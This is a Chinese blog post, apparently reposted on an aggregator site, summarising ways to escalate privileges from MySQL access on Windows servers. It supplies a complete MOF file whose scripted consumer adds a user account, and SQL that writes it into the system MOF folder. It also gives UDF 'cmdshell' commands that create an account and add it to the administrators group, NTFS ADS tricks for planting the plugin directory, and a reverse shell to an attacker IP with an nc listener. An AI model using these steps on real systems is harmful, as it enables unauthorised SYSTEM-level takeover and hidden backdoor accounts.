mysql提权总结

Posted blacksunny

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了mysql提权总结相关的知识,希望对你有一定的参考价值。

一、mof提权

  windows管理规范提供了以下三种方法编译到WMI存储库的托管对象格式(MOF)文件:

  1、运行MOF文件指定为命令行参数讲Mofcomp.exe文件。

  2、使用IMofCompiler接口和$CompileFile方法。

  3、拖放到%SystemRoot%\System32\Wbem\MOF文件夹的MOF文件。

  Micrsoft建议您到存储库编译MOF文件使用前两种方法。也就是运行Mofcomp.exe文件或使用IMofCompiler:CompileFile方法。

  第三种方法仅为后兼容性与早期版本的WMI提供,并因为此功能可能不会提供在将来的版本。

  具体到mysql提权中,我们该怎么利用?

  1、找一个可写目录上传mof文件,这里我们上传到了C:/wmpub/nullevt.mof,代码如下:

   其中第18行,上传前请自己更改。

 1 #pragma namespace("\\\\.\\root\\subscription")
 2 
 3 instance of __EventFilter as $EventFilter
 4 {
 5     EventNamespace = "Root\\Cimv2";
 6     Name  = "filtP2";
 7     Query = "Select * From __InstanceModificationEvent "
 8             "Where TargetInstance Isa \"Win32_LocalTime\" "
 9             "And TargetInstance.Second = 5";
10     QueryLanguage = "WQL";
11 };
12 
13 instance of ActiveScriptEventConsumer as $Consumer
14 {
15     Name = "consPCSV2";
16     ScriptingEngine = "JScript";
17     ScriptText =
18     "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")";
19 };
20 
21 instance of __FilterToConsumerBinding
22 {
23     Consumer   = $Consumer;
24     Filter = $EventFilter;
25 };

 

  2、执行load_file及into dumpfile把文件导出到正确的位置即可。

   1 select load_file(C:/wmpub/nullevt.mof) into dumpfile c:/windows/system32/wbem/mof/nullevt.mof 

  执行成功后,即可添加一个普通用户,然后可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接就可以了。


二、利用UDF提权

  udf提权也是最常见的提权方式。但是往往再执行过程中老是遇到"Can‘t open shared library"的情况,这里可以利用NTFS ADS流来解决这个问题。

  1、最常见的是直接使用udf.php此类的工具来执行udf提权。

  连接mysql以后,先导出udf.dll到c:\windows\system32目录下。

  2、创建相应的函数并执行命令,具体如下:

1 create function cmdshell returns string soname udf.dll;
2 select cmdshell(net user waitalone waitalone.cn /add);
3 select cmdshell(net localgroup administrators waitalone /add);
4 drop function cmdshell; 删除函数
5 delete from mysql.func where name=cmdshell  删除函数

   3、某些情况下,我们会遇到Can‘t open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,但是默默情况下

  plugin不存在,怎么办?还好有大牛研究出利用NTFS ADS流来创建文件夹的方法:

select @@basedir;   
//查找到mysql的目录
select It is dll into dumpfile C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION;   
//利用NTFS ADS创建lib目录
select It is dll into dumpfile C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION;
//利用NTFS ADS创建plugin目录

  执行成功以后再进行导出即可。


 

三、反弹端口连接提权

  假设我们扫到一个mysql的root弱密码,并且可以外连,但是服务器上面的网站又无法getshell,这时我们怎么办?

  1、利用mysql客户端工具连接mysql服务器,然后执行下面的操作。(mysql.txt暂时没有)

mysql.exe -h 172.16.10.11 -uroot -p
Enter password:
mysql> \. c:\mysql.txt
mysql>select backshell("YourIP",2010);

  2、本地监听你反弹的端口

  nc.exe -vv -l -p 2010

  成功后,你将获得一个system权限的cmdshell,其实这个也是利用UFDF提权。

 

以上是关于mysql提权总结的主要内容,如果未能解决你的问题,请参考以下文章

mysql提权总结

提权基础-----mysql-udf提权

web安全:mysql提权总结篇

数据库注入提权总结

MySQL_UDF提权

MYSQL提权方法